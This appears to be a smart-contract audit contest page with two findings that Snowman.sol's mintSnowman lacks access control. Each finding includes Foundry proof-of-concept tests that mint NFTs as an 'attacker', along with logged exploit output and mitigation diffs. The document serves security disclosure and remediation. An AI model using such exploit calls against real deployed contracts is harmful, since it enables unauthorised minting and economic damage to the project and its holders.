Complete Absence of Access Control on Snowman.mintSnowman Allows Unrestricted Free Minting of Entire NFT Supply
Description
In Snowman.sol:36-44, the contract inherits OpenZeppelin's Ownable and defines the custom
error error SM__NotAllowed();, but the mintSnowman function lacks any access control
modifier or caller verification:
// src/Snowman.sol
@> function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
@> _safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Any unauthenticated external address can call mintSnowman directly and mint an arbitrary
number of Snowman NFTs for free, completely bypassing the SnowmanAirdrop contract, staking
requirements, Merkle proofs, and EIP-712 signatures.
Risk
Likelihood: High (Callable directly by anyone on public networks with zero prerequisites)
Impact: Critical (Total protocol compromise; complete dilution of NFT supply and economic
bypass of the staking/airdrop mechanism)
Proof of Concept
Add this test to TestSnowman.t.sol or run via Foundry:
function test_attacker_can_mint_unlimited_nfts_for_free() public {
address attacker = makeAddr("attacker");
assertEq(nft.balanceOf(attacker), 0);
// Attacker has 0 ETH, 0 Snow tokens, not owner, not airdrop contract
vm.prank(attacker);
nft.mintSnowman(attacker, 50);
assertEq(nft.balanceOf(attacker), 50);
assertEq(nft.ownerOf(0), attacker);
assertEq(nft.ownerOf(49), attacker);
}
Recommended Mitigation
Restrict mintSnowman so that only the authorized SnowmanAirdrop contract (or the contract
owner) can invoke it:
--- a/src/Snowman.sol
+++ b/src/Snowman.sol
@@ -21,6 +21,7 @@ contract Snowman is ERC721, Ownable {
// >>> VARIABLES
uint256 private s_TokenCounter;
string private s_SnowmanSvgUri;
+ address private s_airdropContract;
// >>> EVENTS
event SnowmanMinted(address indexed receiver, uint256 indexed numberOfSnowman);
@@ -33,7 +34,18 @@ contract Snowman is ERC721, Ownable {
s_SnowmanSvgUri = _SnowmanSvgUri;
}
+ function setAirdropContract(address _airdrop) external onlyOwner {
+ s_airdropContract = _airdrop;
+ }
+
// >>> EXTERNAL FUNCTIONS
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != s_airdropContract && msg.sender != owner()) {
+ revert SM__NotAllowed();
+ }
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
Lead Judging Commences
[H-01] Unrestricted NFT Minting in Snowman.sol
# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```
Rewards breakdown
Live
The contest is live. Earn rewards by submitting a finding.
Judging
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsRewards Distribution
The contest is complete and the rewards are being distributed.